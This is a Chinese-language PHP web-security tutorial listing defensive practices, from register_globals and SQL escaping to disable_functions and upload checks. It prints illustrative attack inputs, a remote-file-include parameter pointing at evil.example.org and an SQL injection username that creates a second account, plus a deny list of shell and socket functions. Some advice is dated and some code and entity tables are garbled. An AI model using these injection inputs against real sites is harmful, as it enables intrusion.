|
學習目標: 1、寫代碼時要有安全意識。 2、掌握PHP安全的一些常用方法。 實現(xiàn)功能->效率(運行效率、開發(fā)效率)、安全 一些提高安全的方法: 1、Register Globals register_globals 參數(shù)在 PHP 的 4.2.0 及以上版本中默認為屏蔽。雖然這并不認為是一個安全漏洞,但是的確是一個安全風險。因此,應該始終在開發(fā)過程和運行環(huán)境中屏蔽 register_globals。 例子: <?php if(authenticated_user()) {' $authorized = true; } if($authorized) { include '/highly/sensitive/data.php'; } ?> 當參數(shù) register_globals 開啟的時候,這個頁面可以使用 ?authorized=1 的參數(shù)訪問,從而繞過訪問控制。當然,這個明顯的漏洞是糟糕的開發(fā)造成的,而不是 register_globals 的原因,但是這明顯增加了產(chǎn)生危險漏洞的可能。消除了這個影響,普通的全局變量(比如本例中的 $authorized)將不再受到客戶端提交的數(shù)據(jù)的影響。最好的方式是初始化全部變量并且在開發(fā)時將參數(shù) error_reporting 設(shè)置為 E_ALL,這樣使用未初始化的變量就不會在開發(fā)的時候被忽略。 另外一個關(guān)于 register_globals 的例子是在使用 include 包含動態(tài)路徑的時候可能產(chǎn)生問題: <?php include "$path/script.php"; ?> $mod = isset ($_GET['mod']) ? $_GET['mod'] : 'index'; If (in_array ($mod,array ('school','qq'))){ Include $mod.'.class.php'; } 當參數(shù) register_globals 開啟的時候,這個頁面可以使用 ?path=http%3A%2F%2Fevil.example.org%2F%3F 的參數(shù)訪問,使得本例中的代碼和下面的代碼等同: <?php include ''; ?> 如果參數(shù) allow_url_fopen 開啟的時候(即便是在 php.ini-recommended 中,默認也是開啟的),這將如同包含本地文件一般包含 這樣的遠程文件。這是一個常見的安全漏洞,甚至在一些非常著名的開源項目中都發(fā)現(xiàn)。 初始化 $path 可以避免這個隱患,而且不用屏蔽參數(shù) register_globals 。然而開發(fā)人員的失誤可能會產(chǎn)生沒有初始化的變量,修改全局配置以屏蔽參數(shù) register_globals 可以盡可能的避免這種隱患被忽視。 屏蔽參數(shù) register_globals 會幫助開發(fā)人員更加留意數(shù)據(jù)的來源,而這正是一個有安全意識的開發(fā)人員所應該具備的素質(zhì)。 對變量要進行初始化,嚴格檢查。 2、錯誤報告 從早期的版本到 2004 年 7 月 13 日發(fā)布的 PHP 5,錯誤報告都是相當簡單的。除了小心編寫程序,還要留意一些特定的 PHP 配置項目: error_reporting 這個項目設(shè)置了錯誤報告的等級。開發(fā)環(huán)境中,強烈建議將這個參數(shù)設(shè)置為 E_ALL。 運行環(huán)境中,也建議設(shè)置為E_ALL。 display_errors 這個項目決定是否將錯誤顯示在屏幕上(包含在輸出中)。應當在開發(fā)中設(shè)置為 On,這樣可以在開發(fā)時就發(fā)現(xiàn)錯誤;應當在運行環(huán)境中設(shè)置為 Off,這樣在所有用戶(和潛在攻擊者)面前錯誤將被隱藏。 log_errors 這個項目決定是否將錯誤寫入日志。雖然這會引起性能損失,但是對于并不經(jīng)常出現(xiàn)的錯誤這是非常必要的。如果在硬盤上記錄錯誤帶來了巨大的 I/O 負荷,比起應用程序的效率來說,這或許應當引起更多的注意。應當在開發(fā)環(huán)境和運行環(huán)境中設(shè)置為 On。 error_log 這個項目決定了日志文件存放的位置和名字。一定要確保 web 服務器對指定文件擁有權(quán)限。 設(shè)置 error_reporting 為 E_ALL 對于強制初始化變量有幫助,因為使用一個未定義的變量會產(chǎn)生提示(notice)。 一個非常好的錯誤處理和報告函數(shù)在 PHP 手冊中有所介紹: PHP 5 包含異常處理。了解更多信息,請查閱: 對各種可能的情況,進行充分測試,找到并排除錯誤。 3、數(shù)據(jù)過濾 數(shù)據(jù)過濾在任何語言、任何平臺上都是WEB應用安全的基石。這包含檢驗輸入到應用的數(shù)據(jù)以及從應用輸出的數(shù)據(jù),確保數(shù)據(jù)過濾無法被繞過,確保不合法的信息不會影響合法的信息,并且識別數(shù)據(jù)的來源。 應該仔細審查用戶的每一個輸入及輸出數(shù)據(jù)是否合法。充分測試各種情況下的程序運行情況。 數(shù)字類型的數(shù)據(jù),要對它進行類型轉(zhuǎn)換(轉(zhuǎn)換到數(shù)字類型),再使用。 使用正則表達式來檢查電子郵件、網(wǎng)址、電話、用戶名等信息。 ctype_* 系列函數(shù)可用于檢查數(shù)據(jù)的合法性,效率比正則要高。 相關(guān)詳細說明 函數(shù)名 | 釋義 | 介紹 | htmlspecialchars | 將與、單雙引號、大于和小于號化成HTML格式 | &轉(zhuǎn)成& "轉(zhuǎn)成"' 轉(zhuǎn)成'<轉(zhuǎn)成<>轉(zhuǎn)成> | htmlentities() | 所有字符都轉(zhuǎn)成HTML格式 | 除上面htmlspecialchars字符外,還包括雙字節(jié)字符顯示成編碼等。 |
|
|
| addslashes | 單雙引號、反斜線及NULL加上反斜線轉(zhuǎn)義 | 被改的字符包括單引號 (')、雙引號 (")、反斜線 backslash () 以及空字符NULL。 | stripslashes | 去掉反斜線字符 | 去掉字符串中的反斜線字符。若是連續(xù)二個反斜線,則去掉一個,留下一個。若只有一個反斜線,就直接去掉。 |
|
|
| quotemeta | 加入引用符號 | 將字符串中含有 . + * ? [ ^ ] ( $ ) 等字符的前面加入反斜線 "" 符號。 | nl2br() | 將換行字符轉(zhuǎn)成<br> |
| strip_tags | 去掉HTML及PHP標記 | 去掉字符串中任何 HTML標記和PHP標記,包括標記封堵之間的內(nèi)容。注意如果字符串HTML及PHP標簽存在錯誤,也會返回錯誤。 | mysql_real_escape_string | 轉(zhuǎn)義SQL字符串中的特殊字符 | 轉(zhuǎn)義 x00
空格 ' " x1a,針對多字節(jié)字符處理很有效。mysql_real_escape_string會判斷字符集,mysql_escape_string則不用考慮。 |
|
|
|
4、欺騙表單提交 為了進一步了解數(shù)據(jù)過濾的必要,思考下面這個表單(假想的): : <form action="/process.php" method="POST"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> 設(shè)想一個攻擊者保存了這段 HTML 并修改為: <form action="" method="POST"> <input type="text" name="color" /> <input type="submit" /> </form> 這個新的表單可以存放在任何地方(web 服務器并不是必須的,只要瀏覽器可以訪問的即可),并可以隨意使用。action 屬性設(shè)定的絕對 URL 將 POST 請求發(fā)到相同的地方。 一個簡單的解決方案是:在提交表單時增加驗證碼驗證。 進一步,可以通過域名判斷: if(substr($_SERVER['HTTP_REFERER'], 7, 12) <> 'shopfine.com') <?php echo $_SERVER['HTTP_REFERER'];?>可以得到鏈接/提交當前頁的父頁面URL.另外,可以使用一些簡單的問題來實現(xiàn)驗證的作用,比如出一個這樣的問題: 1+5=? 一般人都知道是6,而破解軟件可能不會這么智能。 5、目錄及文件安全 有這樣一個文件,保存了數(shù)據(jù)庫的相關(guān)信息: 參考db.inc 這個例子包含連接到數(shù)據(jù)庫的全部信息,并保存為文件 db.inc。它在一個文件里保存了帳戶信息,這看起來是非常省心的。問題出現(xiàn)在這個文件保存在在根文檔(document root)下面的某個地方。這是非常普通的,因為這樣使用 include 和 require 語句更加簡單。但是這也將導致暴露你的數(shù)據(jù)庫帳戶信息。 一定要記住,在根文檔(document root)下的所有東西都有一個 URL 與之關(guān)聯(lián)。例如,如果根文檔(document root)在 /usr/local/apache/htdocs,當一個文件存儲在 /usr/local/apache/htdocs/inc/db.inc 時,則可以通過 URL 訪問到它。 解決方案1:將db.inc 改名為 db.php 解決方案2:將db.inc 放在網(wǎng)站根目錄之外;或者放在網(wǎng)站的一個目錄中,并且限制這個目錄的http訪問權(quán)限(但可以在其他php中require)。 6、SQL注入 SQL 注入攻擊相當容易防范,但是許多應用仍然容易受到這種攻擊的侵害??紤]下面的 SQL 語句: mysql_escape_string (PHP 4 >= 4.0.3, PHP 5, PECL mysql:1.0) mysql_escape_string — 轉(zhuǎn)義一個字符串用于 mysql_query 說明 string mysql_escape_string ( string $unescaped_string ) 本函數(shù)將 unescaped_string 轉(zhuǎn)義,使之可以安全用于 mysql_query()。 Note: mysql_escape_string() 并不轉(zhuǎn)義 % 和 _。 本函數(shù)和 mysql_real_escape_string() 完全一樣,除了 mysql_real_escape_string() 接受的是一個連接句柄并根據(jù)當前字符集轉(zhuǎn)移字符串之外。mysql_escape_string() 并不接受連接參數(shù),也不管當前字符集設(shè)定。 Example#1 mysql_escape_string() 例子 <?php $item = "Zak's Laptop"; $escaped_item = mysql_escape_string($item); printf ("Escaped string: %s
", $escaped_item); ?> 以上例子將產(chǎn)生如下輸出: Escaped string: Zak's Laptop <?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', '$reg_password', '{$_POST['reg_email']}')"; ?> 這個語句由 $_POST 構(gòu)成,這是毫無疑問的。 假設(shè)這個語句創(chuàng)建了一個新帳號。用戶提供了想要的用戶名和郵件帳號。注冊程序產(chǎn)生臨時的密碼并發(fā)送郵件到用戶處用于驗證郵件地址。設(shè)想用戶輸入下面的內(nèi)容作為用戶名:('good_guybad_guy', 'mypass', ''), 這當然不是一個合法的用戶名,但是關(guān)鍵的地方?jīng)]有數(shù)據(jù)過濾,應用程序無法判斷。如果提供一個合法的郵件地址(例如 [email protected]),而應用程序生成密碼為 1234,SQL 語句將變?yōu)椋?/p> <?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('bad_guy', 'mypass', ''), ('good_guy', '1234', '[email protected]')"; ?> 除了用合法的郵件地址創(chuàng)建了一個帳號(good_guy),應用程序還創(chuàng)建了第二個帳號(bad_guy),用戶提供了所有關(guān)于這個帳號的信息。 雖然這個特殊的例子看起來并沒有什么很大的傷害,不過一旦攻擊者可以修改 SQL 語句會造成多么大的損失也是相當明確的。 解決方案:仍舊是過濾數(shù)據(jù),檢查所提交的用戶名是否合法(不能用引號和特殊符號;或限制用戶在英文、數(shù)字、下劃線,且以英文開頭)。 一般提交表單,采用javascript和php兩道過濾。 $str = "'"; $sql = "SELECT * FROM `message` WHERE 1 "; $sql .= "AND `content` LIKE '%".addslashes_deep($str)."%' "; $res = $db->getAll($sql); echo '<pre>'; print_r ($res); echo '</pre>'; 7、PHP及相關(guān)軟件版本更新 應及時將服務器的PHP及相關(guān)軟件(Apache、MySQL等)升級到最新穩(wěn)定版本,這樣能避免一些已知的安全漏洞。 比如PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高。 PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務。 8、PHP的safe mode模式 safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設(shè)置。要啟用safe_mode,只需修改php.ini: safe_mode = On 或者修改httpd.conf,定義目錄: Options FollowSymLinks php_admin_value safe_mode 1 重啟apache后safe_mode就生效了。啟動safe_mode,會對許多PHP函數(shù)進行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。 默認情況下,所有操作文件的函數(shù)將只能操作與腳本UID相同的文件。 注意:如果在linux中啟用了safe_mode,那么如果要在一個目錄中創(chuàng)建一個目錄,比如要在/upload中創(chuàng)建一個20081202,那么/upload目錄所有者必須是apache的所有者。 9、權(quán)限認證 程序中應進行嚴格的權(quán)限認證,比如后臺管理中的各程序,應加上管理員的權(quán)限認證。前臺、后臺的每一個操作都應根據(jù)實際情況,進行嚴格的權(quán)限認證。一般使用的權(quán)限認證是進行密碼校對。另外也可以使用數(shù)字簽名對權(quán)限進行認證。 ajax調(diào)用的PHP程序,也要進行權(quán)限判斷。 10、禁用PHP的一些系統(tǒng)操作相關(guān)的函數(shù) 修改php.ini,設(shè)置 disable_functions = set_time_limit system exec chdir readdir opendir is_dir shell_exec passthru proc_open proc_close proc_get_status checkdnsrr getmxrr getservbyname getservbyport syslog popen show_source highlight_file posix_ctermid posix_get_last_error posix_getcwd posix_getegid posix_geteuid posix_getgid posix_getgrgid posix_getgrnam posix_getgroups posix_getlogin posix_getpgid posix_getpgrp posix_getpid posix_getppid posix_getpwnam posix_getpwuid posix_getrlimit posix_getsid posix_getuid posix_isatty posix_kill posix_mkfifo posix_setegid posix_seteuid posix_setgid posix_setpgid posix_setsid posix_setuid posix_strerror posix_times posix_ttyname posix_uname dl socket_listen socket_create socket_bind socket_accept socket_connect stream_socket_server stream_socket_accept stream_socket_client ftp_connect ftp_login ftp_pasv ftp_get zlib.compress gzopen gzpassthru gzcompress eval system 11、disable_classes 這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設(shè)置,只能在php.ini配置文件里修改。 12、open_basedir 在php.ini中設(shè)置open_basedir,或者在httpd.conf中設(shè)置這樣一行: php_admin_value open_basedir "d:/www/xingmo/;c:/windows/temp/" 注意:目錄最后加上/。如果不加上/, "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls"。 在其他系統(tǒng)中(如Linux),將多個目錄中的;改為:。 這樣做了以后,將php的活動范圍限制在本站目錄中。 每一個站點一定要設(shè)置(在httpd-vhosts.conf中設(shè)置)。 13、密碼安全 促使用戶填寫較安全的密碼;數(shù)據(jù)庫中對密碼進行加密。 14、上傳文件 上傳文件時,應判斷上傳文件的類型(判斷文件的后綴,并要判斷文件的type)。 上傳文件的大小,要進行限制。 上傳文件后,應將文件重新命名,不要使用上傳之前的文件名。 15、清除HTML或JavaScript 如果要在網(wǎng)站上顯示留言內(nèi)容,應將留言中的HTML(至少是JavaScript去掉),以免執(zhí)行一些不希望出現(xiàn)的操作。(PHP的strip_tags函數(shù)) 16、不要在運行的站點上保留phpinfo()腳本 phpinfo()會暴露網(wǎng)站的很多信息,增加網(wǎng)站被攻擊的機會。 17、發(fā)郵件時,應檢查收件人,避免發(fā)送到多個郵箱地址 18、盡量使用POST而不是GET方式提交數(shù)據(jù) 如果采用GET方式提交數(shù)據(jù),從表單中提交的密碼,就會在地址欄顯示出來。 其他程序安全措施: PHP5 PECL庫的過濾器功能; PEAR Auth軟件包; Mcrypt加密; SESSION和COOKIE加密等。 改變SESSION的默認存儲目錄,或?qū)ESSION放在數(shù)據(jù)庫中(可參考ecshop的session機制) session_save_path 安全只有相對的,沒有絕對的,關(guān)鍵是要有安全的意識。及時增加安全的系數(shù)(讓網(wǎng)站更安全),發(fā)現(xiàn)安全問題時,及時有效地應對。 當然,PHP的安全并不等于整個網(wǎng)站的安全,整個網(wǎng)站的安全,還涉及到: a.服務器硬件安全 服務器硬件的狀況,是否穩(wěn)定;所在機房是否正規(guī);機房是否有監(jiān)控錄像;電力保障是否到位;網(wǎng)絡是否穩(wěn)定。 b.服務器軟件安全 包括操作系統(tǒng)安全;軟件安全(及時升級軟件到最新穩(wěn)定版本);數(shù)據(jù)安全(本機備份,下載數(shù)據(jù));系統(tǒng)文件權(quán)限;建立防火墻等;盡量減少系統(tǒng)的服務;經(jīng)常檢查系統(tǒng)及軟件的運行日志、系統(tǒng)的登錄記錄。 c.網(wǎng)絡傳輸安全 如使用SSL加密。
信息發(fā)布:廣州名易軟件有限公司 http://www.jetlc.com
|